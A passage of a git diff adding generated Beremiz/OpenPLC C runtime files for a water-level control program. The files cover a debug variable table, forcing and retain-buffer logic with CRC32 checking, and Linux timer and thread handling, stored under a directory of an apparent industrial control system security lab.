UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + 